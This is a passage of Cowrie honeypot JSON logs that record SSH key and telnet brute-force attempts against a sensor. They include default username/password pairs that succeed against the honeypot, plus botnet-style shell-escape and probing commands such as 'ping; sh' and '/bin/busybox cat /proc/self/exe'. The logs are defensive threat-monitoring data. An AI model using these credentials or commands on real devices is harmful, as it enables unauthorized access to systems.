mac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:17:51.802487Z","src_ip":"107.173.146.37","session":"f8dbe6c0890b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"10:be:f9:ce:d8:9e:d1:35:d0:87:15:5a:df:f3:13:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvKvRQYDPL0VBRageDwk6y8xyoPMxSCqMNTV39VNKunxTn81hBnRcp3UYI/6dfrrXqUannVrwAjsKi/SJybvpKsx/0dfPUYNUjoV5goDZTCQvnL74ZctTohAV65OF2rbEfEcZS/qV6OH8iaEY2hD3/pdQWXFqrOgAbkY1f5Q7B5xEYJn3kD8FmqLx9gYGR/cZiTOH7XugJ11xtvj9UWlGE/cW2TFe4RzYK7LnyyNlJ5dJrlDDxQNz6/i4uM2VSbnl80UiZXt113xn8YNhJnrpqTd05CH2jgThAqlYfeHq0j/KdsUi8rl5x/X0wL7cwWv0r9Z5uDge86smrcqXV5ToT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 10:be:f9:ce:d8:9e:d1:35:d0:87:15:5a:df:f3:13:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:17:52.143026Z","src_ip":"107.173.146.37","session":"f8dbe6c0890b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"10:be:f9:ce:d8:9e:d1:35:d0:87:15:5a:df:f3:13:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvKvRQYDPL0VBRageDwk6y8xyoPMxSCqMNTV39VNKunxTn81hBnRcp3UYI/6dfrrXqUannVrwAjsKi/SJybvpKsx/0dfPUYNUjoV5goDZTCQvnL74ZctTohAV65OF2rbEfEcZS/qV6OH8iaEY2hD3/pdQWXFqrOgAbkY1f5Q7B5xEYJn3kD8FmqLx9gYGR/cZiTOH7XugJ11xtvj9UWlGE/cW2TFe4RzYK7LnyyNlJ5dJrlDDxQNz6/i4uM2VSbnl80UiZXt113xn8YNhJnrpqTd05CH2jgThAqlYfeHq0j/KdsUi8rl5x/X0wL7cwWv0r9Z5uDge86smrcqXV5ToT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:17:52.146637Z","src_ip":"107.173.146.37","session":"f8dbe6c0890b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"75:2a:f7:ca:3b:05:fc:42:8f:ac:64:84:77:7b:22:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQ9bqXycEjvj8H/G0oCJoQTjt9v/xgDJRLYVD/ntGFaV8YVO+Pg3PMxgD0VupwxjJsJmtNQJpVUktT5WpScPbWa9brSlbQQry+PwU/Vz7xvNiVIZaHgQyP8B5rCPwSkOMNsVlmHKqXNfs742vO310Sz7fOUbRcIvm3WFwQWQ69cslp+vTtmjZo/q6El5QCz6Qv3n/rkn54kJJrr+bZpDT5fGjeVs1LQ2u0kcciwz7eCeCYjtlOL9ZeJnC7/QYiH+U0qIhQnW4xO3H1/cQemxC3ENjDrhDMzun6YFtX8NcEoxKpX8OCX62i69HX+yHR7CrDnPG/3+jcy//r7H4qjFBHsxf2cYu9me8M/8T4rEOvXn3xxGpJlWll1jDcE1qkOGcJgVlUtuI2QmFOXXyT6iSNBro2x+s/ZDWWiPXgv3z9BT4V8KkF6i3a8O0sd/HpDMCrnzUJpVc6XaF4a2pAbhCugXzsR2dRd6GhwBI0nwJcqtLAGSEaBXn+7o79WBOd+tZmskixoc7NVmos9Y+2aqj+zyyddYI2oBoeUN0rkwSuVhD2s2CApKo/R8EGuRZTA0+TjLRdActkUXgeopZfrx7DLs9ZKXwOLW8vr0ofwHg98YC6TtuIOJVRf0lWbaF76wL0bWh+r545EMXP+FlyafAP/kSJMtIvbIhr0b7xa2dDiw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 75:2a:f7:ca:3b:05:fc:42:8f:ac:64:84:77:7b:22:68","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:17:52.220995Z","src_ip":"107.173.146.37","session":"f8dbe6c0890b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"75:2a:f7:ca:3b:05:fc:42:8f:ac:64:84:77:7b:22:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQ9bqXycEjvj8H/G0oCJoQTjt9v/xgDJRLYVD/ntGFaV8YVO+Pg3PMxgD0VupwxjJsJmtNQJpVUktT5WpScPbWa9brSlbQQry+PwU/Vz7xvNiVIZaHgQyP8B5rCPwSkOMNsVlmHKqXNfs742vO310Sz7fOUbRcIvm3WFwQWQ69cslp+vTtmjZo/q6El5QCz6Qv3n/rkn54kJJrr+bZpDT5fGjeVs1LQ2u0kcciwz7eCeCYjtlOL9ZeJnC7/QYiH+U0qIhQnW4xO3H1/cQemxC3ENjDrhDMzun6YFtX8NcEoxKpX8OCX62i69HX+yHR7CrDnPG/3+jcy//r7H4qjFBHsxf2cYu9me8M/8T4rEOvXn3xxGpJlWll1jDcE1qkOGcJgVlUtuI2QmFOXXyT6iSNBro2x+s/ZDWWiPXgv3z9BT4V8KkF6i3a8O0sd/HpDMCrnzUJpVc6XaF4a2pAbhCugXzsR2dRd6GhwBI0nwJcqtLAGSEaBXn+7o79WBOd+tZmskixoc7NVmos9Y+2aqj+zyyddYI2oBoeUN0rkwSuVhD2s2CApKo/R8EGuRZTA0+TjLRdActkUXgeopZfrx7DLs9ZKXwOLW8vr0ofwHg98YC6TtuIOJVRf0lWbaF76wL0bWh+r545EMXP+FlyafAP/kSJMtIvbIhr0b7xa2dDiw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:17:52.228391Z","src_ip":"107.173.146.37","session":"f8dbe6c0890b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0f:2c:e9:12:82:17:e7:6c:4e:ea:8f:35:48:58:f9:72","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANqMt3kgwmozfjcKsj05IHV91JrBZ3jUjFyhROgfbIWjoQxKAg/B1kFjPViyqSWtxp7Ze+10E+wk+uBss3nV1WNkehFYhB/NcBip4O/WUkVaW3zYucnfZaOa8iLgPznBn54Aw9ZfxBlGYCUvyCM/s/kHBt891lM/j9w06fN1NlYxAAAAFQC0ol0lBnmGTli6H0+TQ6XH9Oo3yQAAAIBW/nDziOMBeflbPSVMDqUuLLao53/SS6nVYIWMdn6u0qclfa6QyCcZtS/DxEkNtQQ2FAlVZoWliAJwpNRlJuvgBG77RvdSkngyyIgUqt2gi3E860mpBMyMr9NaaMNAtiExwUzPpn4KTZqVVr8AjRtmKEB07s81QT1WFOk1A61vFQAAAIBEUndRlywp3goqzjOW+ub5fulrD2BXhzmFv1fSPC6jZ3GgmIEoA/cxonX0jnVhfzX2Y3fjjsvTslcnOE3TLt6JRGryUbQW0Cfwp2563wRT9YvOgWo53p/sdeYNM5fnVcjYLhHDJfMYatSGaKMU9oqgSlcdstMzNs3u9rTXfePfcw==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 0f:2c:e9:12:82:17:e7:6c:4e:ea:8f:35:48:58:f9:72","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:17:52.303148Z","src_ip":"107.173.146.37","session":"f8dbe6c0890b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0f:2c:e9:12:82:17:e7:6c:4e:ea:8f:35:48:58:f9:72","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANqMt3kgwmozfjcKsj05IHV91JrBZ3jUjFyhROgfbIWjoQxKAg/B1kFjPViyqSWtxp7Ze+10E+wk+uBss3nV1WNkehFYhB/NcBip4O/WUkVaW3zYucnfZaOa8iLgPznBn54Aw9ZfxBlGYCUvyCM/s/kHBt891lM/j9w06fN1NlYxAAAAFQC0ol0lBnmGTli6H0+TQ6XH9Oo3yQAAAIBW/nDziOMBeflbPSVMDqUuLLao53/SS6nVYIWMdn6u0qclfa6QyCcZtS/DxEkNtQQ2FAlVZoWliAJwpNRlJuvgBG77RvdSkngyyIgUqt2gi3E860mpBMyMr9NaaMNAtiExwUzPpn4KTZqVVr8AjRtmKEB07s81QT1WFOk1A61vFQAAAIBEUndRlywp3goqzjOW+ub5fulrD2BXhzmFv1fSPC6jZ3GgmIEoA/cxonX0jnVhfzX2Y3fjjsvTslcnOE3TLt6JRGryUbQW0Cfwp2563wRT9YvOgWo53p/sdeYNM5fnVcjYLhHDJfMYatSGaKMU9oqgSlcdstMzNs3u9rTXfePfcw==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:17:52.307213Z","src_ip":"107.173.146.37","session":"f8dbe6c0890b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ab:8f:a1:52:64:a0:ab:42:e5:92:9f:ad:33:f0:9d:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwITg2TifMG7MrNAwzIZp454iGAAEWsaqw3/P4sjWOuH3+GhzGUkgDVA9QBGSpMPp1ti88GInwah/C0uU9BMPaueSGD6bCkCia/HQlF5kTSIb3Sbg7r3CjJUSSNpkpUP4i4wXQ8l89vgx3xskVwdXhvu8HU7xb+93BDan4hcxIBPcGE+br4xOU5WvPV6va3vbEVFqN0g2/wGR0ZEZMi7DQVOGYoN/FzvCMt9cENxEIh6JrxHdd66HNZsidheYIGv12vpKEvpydTKhFo+dkIq5Ifdr7QxR3zd0w78NzPPEjaWbnmfVTNWdDByuiAbq9lGZvetlR3hO+xJ/q4sF4IIgBw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ab:8f:a1:52:64:a0:ab:42:e5:92:9f:ad:33:f0:9d:ca","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:17:52.381610Z","src_ip":"107.173.146.37","session":"f8dbe6c0890b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ab:8f:a1:52:64:a0:ab:42:e5:92:9f:ad:33:f0:9d:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwITg2TifMG7MrNAwzIZp454iGAAEWsaqw3/P4sjWOuH3+GhzGUkgDVA9QBGSpMPp1ti88GInwah/C0uU9BMPaueSGD6bCkCia/HQlF5kTSIb3Sbg7r3CjJUSSNpkpUP4i4wXQ8l89vgx3xskVwdXhvu8HU7xb+93BDan4hcxIBPcGE+br4xOU5WvPV6va3vbEVFqN0g2/wGR0ZEZMi7DQVOGYoN/FzvCMt9cENxEIh6JrxHdd66HNZsidheYIGv12vpKEvpydTKhFo+dkIq5Ifdr7QxR3zd0w78NzPPEjaWbnmfVTNWdDByuiAbq9lGZvetlR3hO+xJ/q4sF4IIgBw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:17:52.385198Z","src_ip":"107.173.146.37","session":"f8dbe6c0890b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ae:ab:f3:56:2f:f2:f0:6d:6e:7b:c0:47:3a:f2:b7:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCWgji0OyZEeruJ0JxFQxoxCHgLkFe/4fJMk/C/tbx91z0QtqUGIF/hyKdm2lZesO1oJXe8KU2hmuBRBRRFcWoFzWCI7Tybu3keGGkItcaxPPSbM7Fli8pA0Tz7dDHbrbIAiAoDFw/+MlxNH2yum755UhGUMv7ep/VBE4qUyYN4ZTQzdD4+cxvOPs2hfI3qU8PeLx1IKPfdQVDMlCPKNGz97lK0nubC5R88YRRt8bruPGO/dDBbX5fkYqX6a4XI2uTaOfRROpJaa619kdiAjgUpGweN+RqsoQgCu9OmqRQct/Zt2fN6+Bb9XBmNwLZkN3hymO5Jhu458/YJfzD3Ho3H","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ae:ab:f3:56:2f:f2:f0:6d:6e:7b:c0:47:3a:f2:b7:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:17:52.458418Z","src_ip":"107.173.146.37","session":"f8dbe6c0890b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ae:ab:f3:56:2f:f2:f0:6d:6e:7b:c0:47:3a:f2:b7:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCWgji0OyZEeruJ0JxFQxoxCHgLkFe/4fJMk/C/tbx91z0QtqUGIF/hyKdm2lZesO1oJXe8KU2hmuBRBRRFcWoFzWCI7Tybu3keGGkItcaxPPSbM7Fli8pA0Tz7dDHbrbIAiAoDFw/+MlxNH2yum755UhGUMv7ep/VBE4qUyYN4ZTQzdD4+cxvOPs2hfI3qU8PeLx1IKPfdQVDMlCPKNGz97lK0nubC5R88YRRt8bruPGO/dDBbX5fkYqX6a4XI2uTaOfRROpJaa619kdiAjgUpGweN+RqsoQgCu9OmqRQct/Zt2fN6+Bb9XBmNwLZkN3hymO5Jhu458/YJfzD3Ho3H","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:17:52.461662Z","src_ip":"107.173.146.37","session":"f8dbe6c0890b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:17:52.534797Z","src_ip":"107.173.146.37","session":"f8dbe6c0890b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.009416103363037,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:18:06.710711Z","src_ip":"45.63.78.87","session":"2bcf32d0a363","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":57992,"dst_ip":"10.17.0.5","dst_port":23,"session":"f998a5615836","protocol":"telnet","message":"New connection: 45.63.78.87:57992 (10.17.0.5:23) [session: f998a5615836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:18:11.398749Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":59216,"dst_ip":"10.17.0.5","dst_port":23,"session":"438a1ec8b2b3","protocol":"telnet","message":"New connection: 45.63.78.87:59216 (10.17.0.5:23) [session: 438a1ec8b2b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:18:16.223690Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.130.237.235","src_port":56388,"dst_ip":"159.203.135.109","dst_port":23,"session":"d51aaf575c12","protocol":"telnet","message":"New connection: 85.130.237.235:56388 (159.203.135.109:23) [session: d51aaf575c12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:18:24.719496Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:18:25.323639Z","src_ip":"85.130.237.235","session":"d51aaf575c12","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:18:25.373873Z","src_ip":"85.130.237.235","session":"d51aaf575c12","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"sh","message":"CMD: sh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:18:25.521919Z","src_ip":"85.130.237.235","session":"d51aaf575c12","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"shell","message":"CMD: shell","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:18:25.525765Z","src_ip":"85.130.237.235","session":"d51aaf575c12","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"shell ","message":"Command not found: shell ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:18:25.528590Z","src_ip":"85.130.237.235","session":"d51aaf575c12","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"enable","message":"CMD: enable","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:18:25.531980Z","src_ip":"85.130.237.235","session":"d51aaf575c12","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"system","message":"CMD: system","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:18:25.536123Z","src_ip":"85.130.237.235","session":"d51aaf575c12","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"system ","message":"Command not found: system ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:18:25.539439Z","src_ip":"85.130.237.235","session":"d51aaf575c12","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"ping; sh","message":"CMD: ping; sh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:18:25.543153Z","src_ip":"85.130.237.235","session":"d51aaf575c12","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"","message":"CMD: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:18:25.546876Z","src_ip":"85.130.237.235","session":"d51aaf575c12","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"/bin/busybox cat /proc/self/exe || cat /proc/self/exe","message":"CMD: /bin/busybox cat /proc/self/exe || cat /proc/self/exe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:18:25.662286Z","src_ip":"85.130.237.235","session":"d51aaf575c12","protocol":"telnet"}
{"eventid":"cowrie.command.success","input":"cat /proc/self/exe","message":"Command found: cat /proc/self/exe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:18:25.666028Z","src_ip":"85.130.237.235","session":"d51aaf575c12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.601505041122437,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:18:43.000136Z","src_ip":"45.63.78.87","session":"f998a5615836","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.822849988937378,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:18:47.046435Z","src_ip":"45.63.78.87","session":"438a1ec8b2b3","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8bfd30efb2f684469406f75ca913909fb30e48f32070a636c9f65f12b17c6225","size":1774,"shasum":"8bfd30efb2f684469406f75ca913909fb30e48f32070a636c9f65f12b17c6225","duplicate":true,"duration":"25.6","message":"Closing TTY Log: var/lib/cowrie/tty/8bfd30efb2f684469406f75ca913909fb30e48f32070a636c9f65f12b17c6225 after 25.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:18:50.995410Z","src_ip":"85.130.237.235","session":"d51aaf575c12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":26.28846049308777,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:18:51.007843Z","src_ip":"85.130.237.235","session":"d51aaf575c12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.130.237.235","src_port":56540,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddf6cb015fb9","protocol":"telnet","message":"New connection: 85.130.237.235:56540 (159.203.135.109:23) [session: ddf6cb015fb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:18:51.130060Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:18:51.725644Z","src_ip":"85.130.237.235","session":"ddf6cb015fb9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminpassword","message":"login attempt [root/adminpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:18:52.365923Z","src_ip":"85.130.237.235","session":"ddf6cb015fb9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"default","password":"default","message":"login attempt [default/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:18:53.001904Z","src_ip":"85.130.237.235","session":"ddf6cb015fb9","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"AdmiN*123","message":"login attempt [admin/AdmiN*123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:18:53.637969Z","src_ip":"85.130.237.235","session":"ddf6cb015fb9","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:18:53.690067Z","src_ip":"85.130.237.235","session":"ddf6cb015fb9","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"sh","message":"CMD: sh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:18:53.841457Z","src_ip":"85.130.237.235","session":"ddf6cb015fb9","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"shell","message":"CMD: shell","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:18:53.846379Z","src_ip":"85.130.237.235","session":"ddf6cb015fb9","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"shell ","message":"Command not found: shell ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:18:53.850256Z","src_ip":"85.130.237.235","session":"ddf6cb015fb9","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"enable","message":"CMD: enable","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:18:53.854071Z","src_ip":"85.130.237.235","session":"ddf6cb015fb9","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"system","message":"CMD: system","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:18:53.859040Z","src_ip":"85.130.237.235","session":"ddf6cb015fb9","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"system ","message":"Command not found: system ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:18:53.862904Z","src_ip":"85.130.237.235","session":"ddf6cb015fb9","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"ping; sh","message":"CMD: ping; sh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:18:53.866651Z","src_ip":"85.130.237.235","session":"ddf6cb015fb9","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"","message":"CMD: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:18:53.870953Z","src_ip":"85.130.237.235","session":"ddf6cb015fb9","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"/bin/busybox cat /proc/self/exe || cat /proc/self/exe","message":"CMD: /bin/busybox cat /proc/self/exe || cat /proc/self/exe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:18:53.980770Z","src_ip":"85.130.237.235","session":"ddf6cb015fb9","protocol":"telnet"}
{"eventid":"cowrie.command.success","input":"cat /proc/self/exe","message":"Command found: cat /proc/self/exe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:18:53.985328Z","src_ip":"85.130.237.235","session":"ddf6cb015fb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":41810,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4d266d5eaa7","protocol":"telnet","message":"New connection: 45.63.78.87:41810 (10.17.0.5:23) [session: e4d266d5eaa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:18:54.677699Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.243.1.139","src_port":49846,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e2bd5b09503","protocol":"telnet","message":"New connection: 186.243.1.139:49846 (159.203.135.109:23) [session: 1e2bd5b09503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:18:54.881420Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":43390,"dst_ip":"10.17.0.5","dst_port":23,"session":"be213d689181","protocol":"telnet","message":"New connection: 45.63.78.87:43390 (10.17.0.5:23) [session: be213d689181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:19:01.437708Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":43538,"dst_ip":"10.17.0.5","dst_port":23,"session":"5191bb434a3e","protocol":"telnet","message":"New connection: 45.63.78.87:43538 (10.17.0.5:23) [session: 5191bb434a3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:19:02.023303Z"}
